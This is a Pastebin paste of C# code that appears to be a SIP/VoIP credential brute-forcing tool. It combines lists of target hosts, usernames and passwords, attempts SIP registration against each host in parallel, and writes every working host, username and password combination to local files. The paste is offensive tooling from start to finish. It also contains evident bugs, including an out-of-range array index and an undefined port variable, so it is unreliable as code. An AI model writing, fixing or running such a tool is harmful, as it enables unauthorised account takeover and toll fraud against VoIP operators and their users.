Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void Main(string[] args)
- {
- int threads = Convert.ToInt32(File.ReadAllText(@"threads.txt"));
- var workItems = new List<object>();
- foreach (string user in File.ReadLines("x.txt"))
- {
- foreach (string pass in File.ReadLines("y.txt"))
- {
- foreach (string line in File.ReadLines("z.txt"))
- {
- workItems.Add(new object[] { line, user, pass });
- }
- ///////////////////////////////////////////////////////////////////
- }
- }
- var opts = new ParallelOptions() { MaxDegreeOfParallelism = threads };
- var results = Parallel.ForEach(workItems, opts, tesTConn );
- Console.WriteLine("Press ENTER to exit.");
- Console.Read();
- }
- //string domain, int port, string username, string password
- public static void tesTConn(object state)
- {
- try
- {
- object[] array = state as object[];
- string domain = Convert.ToString(array[0]);
- string username = Convert.ToString(array[2]);
- string password = Convert.ToString(array[3]);
- Console.WriteLine("Working with line:" + domain);
- SipClient client = new SipClient(domain, "0", "0");
- client.Connect();
- Contact[] contacts = client.GetRegisteredContacts("sip:" + domain, "sip:0@" + domain);
- if (!(contacts != null && contacts.Length > 0))
- {
- SipClient client1 = new SipClient(domain, port, username, password);
- client1.Connect();
- Contact[] contacts1 = client1.GetRegisteredContacts("sip:" + domain, "sip:" + username + "@" + domain);
- if ( contacts1.Length > 0)
- {
- Console.WriteLine("Successfully Registered with data IP:" + domain + " | Username: " + username + " | Password: " + password);
- string path = @domain + ".txt";
- if (!File.Exists(path))
- {
- using (var tw = new StreamWriter(path, true))
- {
- tw.WriteLine(domain);
- tw.WriteLine(domain + " : " + username + " : " + password);
- }
- }
- else if (File.Exists(path))
- {
- using (var tw = new StreamWriter(path, true))
- {
- tw.WriteLine(domain + " : " + username + " : " + password);
- }
- }
- }
- client1.Disconnect();
- }
- client.Disconnect();
- return;
- }
- catch { }
- finally { }
- }
- }
Add Comment
Please, Sign In to add comment